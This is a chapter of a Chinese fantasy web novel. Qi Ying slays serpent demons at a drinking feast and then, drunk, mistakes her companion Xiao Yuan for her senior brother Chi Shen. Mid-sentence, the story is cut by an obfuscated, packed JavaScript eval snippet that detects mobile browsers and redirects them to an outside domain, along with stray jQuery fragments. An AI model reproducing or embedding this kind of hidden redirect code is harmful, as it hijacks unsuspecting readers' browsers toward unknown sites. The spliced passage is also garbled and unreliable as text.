67. 戚山记

作品:《乖巧师妹她竟是最强反派

    戚山,烛九巢。


    刀剑血落,人头落地,迟深眼底的波光未敛,倒是落地的烛九妖仍趁着最后一口气未咽下去,恶狠狠道:


    “你这刁蛮魔煞,等我老大回来…”


    “噗呲。”血又溅了一地,这会连它的眼珠子都如同大珠小珠一般掉落于地面之上,蜒虚一口将那难咽下去的蛇身吃下去后,又叼起那被斩得四分五裂的头狼吞入肚,最后满意地打了个饱嗝儿。


    迟深稍稍皱了皱眉,捂住口鼻往巢外走,低声道:“蜒虚,快出来。”


    蜒虚将难嚼的头骨吐出来,尾巴还未来得及收边闻到了一股烤肉味,它的虎鼻一嗅,却见眼前早已燃起熊熊大火,蜒虚猛地一个旋身,前爪稍稍挥力,整个庞大虎身就这样跳了出来。


    金瞳碎光的眼框显然被晕了一层水雾,它本就低沉的虎音带了些委屈,哼声道:“少主,怎不提醒蜒?”


    迟深敛了敛眼皮,将手心之中的一卷黑纸收入怀中,侧目道:“我说过了。”


    业火烧得极盛,稍稍揉捻起迟深的瞳色,蜒虚却一点也不觉得灼,只觉得他像个是点不燃的湿柴,仍是让它觉得有些冷。


    蜒虚稍稍歪了歪头,察觉出迟深眼底之中,好像还有一丝观望傻子的无奈感。


    “抱歉,少主!是蜒贪得无厌,为饱腹而顾不上其他了…”


    蜒虚将头低下,呈现一副负罪的形态,偏偏它的体型太大,这一稍稍躬身总给人一种它背上的宝座要坠下来的怪感。


    迟深显然没想那么多,将自己剑上的韧血除干净后,漠然道:“嗯,回去了。”


    哎!就回去了嘛!


    蜒虚将自己的虎头脑袋抬起来,尾巴摇在半空,欲想要说些什么,迟深却化好暗门,抬脚离去。


    “少主,少主,等等蜒!”


    一人一虎,很快便消失于寂寥长夜之中。


    …


    已是第五瓶戚山酒。


    祁樱没但喝得酒醉人乏,反倒是更为起劲,红扑扑的面庞明明笑靥如花,手中的酒杯却没放下过,还笑吟吟问道:


    “涂大哥,没酒了呀!”


    能留她到第五瓶酒,也是有些耐力。


    囊中桃花剑蠢蠢欲动,祁樱倒是不急,见着眼前有些昏醉的烛九妖涂菏开口道:“是呀呵呵呵,还有最后一瓶,祁小生,你等我一会…”


    它这样说着,摇摇晃晃地背过身去,肥硕的蛇尾挪动早就喝昏过去的其余两只烛九妖,喊道:“喂!起来吃酒!”


    浑厚之声如雷贯耳,惹得其余两只烛九妖猛地打了个寒颤,胡言乱语附和道:“哎哎哎,喝喝喝!”


    一旁的萧原也是醉得有些厉害,眼神涣散迷离,一只手却紧紧揣着祁樱的衣袖,他原本不就想喝,却招架不住两拨人的来回规劝,更何况祁樱比他喝得还凶,有好几樽本是祁樱该喝的酒都被他拦了下来,这一遭下来,他自己都喝下了两三瓶。


    戚山酒辛辣、苦涩,灼得他全身上下都不舒服,可是他见到祁樱站起身往涂菏方向走去,仍是皱着眉头劝道:“祁樱,别…喝了。”


    祁樱步履一顿。


    几人的距离很近,不过半寸,萧原的吐息很重,全是酒味,偏偏一点也没有口气,传来的气息仍是清淡的竹子香,祁樱从怀里取出一颗丹药给他喂下,握紧手中桃木剑柄。


    只不过喘息之间——


    “斐云第一式,刀落。”


    月下酒前,“哐当”一声,那丑陋煞人的脑袋就像是滚球一般落了下来。


    擒贼先擒王。


    烛九妖涂菏连遗言都未来得及说。


    “喂!你——”另两只烛九妖猛地被眼前这一举惊醒,却未来得及再道完一句话——滋的一声,长剑血未落,又沾新生血,祁樱的手速很快,一柄桃木之剑在她手心之上就好像刽子手上的锋刀,快、稳、猛。


    明明,只是一把桃木之剑,斩出之剑意却泠冽彻人。


    “你竟然!你竟然!”


    噗呲。


    血溅到祁樱的淡粉紫荷衣,祁樱用剑在他们的脑袋狠狠戳出一个洞,恶狠狠道:


    “想将我当下酒菜?见鬼去吧!”


    “呃啊啊啊!!!”


    说完,又是一剑,又是好几剑,就连他们的五脏六腑都没放过,直至斩成一堆碎肉,又用以桃木剑意将他们全部翻下车去,附带再将那瓶未开的酒拾起来撬开。


    祁樱没急着喝,先从怀里取出定身丹的解药给萧原送过去,又笑吟吟道:“萧原,对不起呀,方才一直没理你。”


    恶妖来得太快,她也是没办法呀。


    祁樱摸了摸荷包,发现自己的百宝囊变得焉巴巴的,红色蓄力丹被她用完了。


    完了,忘记给自己留一颗了!


    她步履有些不稳,手中酒瓶差点脱落,萧原赶忙起身扶住她,语气心疼又愧疚:“祁樱,是我错了,我应该想着你早有预谋的…”


    他真是愚笨,早该想到聪慧如她的人怎会不知道那人头蛇身的烛九妖是恶兽。


    祁樱的衣裙尽是血,面庞上也沾染许多,烛九妖的血又腥又荤,惹得她有些晕,就连压抑的酒劲也顷刻迸发,祁樱知晓自己要吐了,摆手甩开萧原,道:


    “萧原,你让开些,我想吐…”


    说时迟那时快,祁樱“呕”了一声,就这样将胃里的秽物吐了出来,终是没让面前的萧原逃过去。


    周遭的寒风似乎停滞了一阵,一直在低声下气的萧原也愣在原地片刻。


    “清净咒…施!”


    祁樱本能地抬手欲想施咒,才发觉自己如今咒法尽失,吐了人家一身而无计可施。


    “对…对不起,萧原。”


    她记得萧原很是爱惜自己的羽毛的。


    祁樱抹了一把自己的唇,又从衣袖中取出一张手帕给他擦了擦,眼眶湿漉又有些红,瞧上去很像一只兔子。


    很可爱的…毛绒绒的,小小一只白兔。


    萧原眼眸闪烁一阵,很快便道:“呃,无事…的,这个…”


    他方才全然没有注意到祁樱对于他的劝阻,一直愧对于未能看出她的计谋而内疚,等回过神来时才发觉她竟吐了自己一身。


    青竹莲纹衣染上污秽物之后,显然失了些光彩,祁樱擦得有些恼,摆手道:


    “哎,萧原,这衣裳脏了就脏了吧,我下回再给你买件更好的!”


    萧原吭声说好,祁樱便将手帕随意一甩,坐下去道:“哎,脏东西被我砍了,萧原,我俩继续喝!”


    萧原这才反应出来,祁樱这是真的醉了。


    她真的有些醉了。


    兴许是体质原因,又或许是方才他吃了祁樱给的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14473367|142142||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    解药,他眼下的状况比方才好很多,可是祁樱却仍是有些反常,真的反常——祁樱将酒盖撬开,又往自己的酒樽里倒酒,乐滋滋举起酒樽就要往自己的嘴里送。


    天色早就暗下来了,月光如皎玉,倾泻于少女沾血的衣裙、脸庞,明明应是阴邪可怕,可在她身上就像是笼上一层破碎的帘雾。


    心碎、绞痛,下一瞬,萧原上前夺过她的酒樽,不忍道:


    “祁樱,不能再喝了。”


    祁樱褐色瞳孔映射出一个模糊人影,渺小细微,倏然朦胧泛起水汽,她忽然气愤道:


    “凭什么不让我喝,我已经十五岁了,已经及笄了,迟深,你别想管着我!”


    迟……深。


    她那个师兄。


    萧原瞳孔一缩,呼吸慢了一瞬,指尖浑然像是被冻住了一般,差点让酒泻下去,又耐下心哄道:


    “祁樱,你醉了。”


    真的醉了,就连眼前的人都认错了。


    “我没有醉!迟深,你干嘛总是管着我,你以前不是很讨厌我吗!不是巴不得我别来缠着你吗!现在又那么爱管着我!迟深,你以为你是我的谁!”


    “比我大三岁了不起吗?是我师兄我就一定要听你的话吗?迟深,你就是个混蛋!”


    祁樱眼眶里的水汽湿润得厉害,看上去像是哭了,语气却一点也没让着,霸道强硬地说着。


    “祁樱,我不是……”


    不是你师兄迟深啊。


    萧原心中暗暗抽痛着,却又百般无奈。


    他见她泪珠滚落,欲想找什么东西给她擦一擦,这才发觉自己连手帕都没有,他的手指拧紧一阵,走到她面前坐下祁樱却忽然瞥过头,一个神色也没给他留。


    她……这是,怎么了?


    萧原有些不明所以,脑畔紧张得像是下一瞬就要炸开,祁樱却忽然开口道:


    “你好像…不是迟深。”


    拧紧的心,一下子像是被松开了束缚,萧原不觉得轻松,反倒是听出了少女语气之中的失落。


    “迟深身上总是带着好闻的、我喜欢的白檀香。你……不是他。”


    心口忽然有些酸涩肿胀。


    她连那个人的气息都知道。


    “迟深的眼眸是我喜欢的红翡瑙,喜欢穿丹青竹影衣,不喜欢繁杂的装束,腰间总是系着一枚月白令牌,不喜欢吃酸,明明怕苦却也不喜欢吃甜…”


    她喃喃自语道。


    浑然不觉间,乌云笼罩了本在泻玉的月,一切都变得如此黯淡,就连吹来的风也变得彻骨寒人。


    不一样的。


    迟深是不一样的。


    萧原忽然觉察出,与她向关联的那些师兄师姐之中,迟深是不一样的。


    萧原望着她,想起祁樱先前同他介绍说,只是她最厌恶的、最普通的师兄迟深。


    长她三岁,是魔尊迟珩的独子,魔域唯一后继人。


    可惜六岁便被早就父亲送来修习仙道,两人也因此相识,一起长大。


    萧原问她,为何会觉得他可惜。


    祁樱将手中的碎拌丹药一吹,叹息道:“当然是因为自小就寄人篱下、背井离乡,真的很可怜呀!”


    “萧原,你不觉得吗?”


    萧原瞳孔一颤。


    骷髅车停在了一个满是灰烬的地方。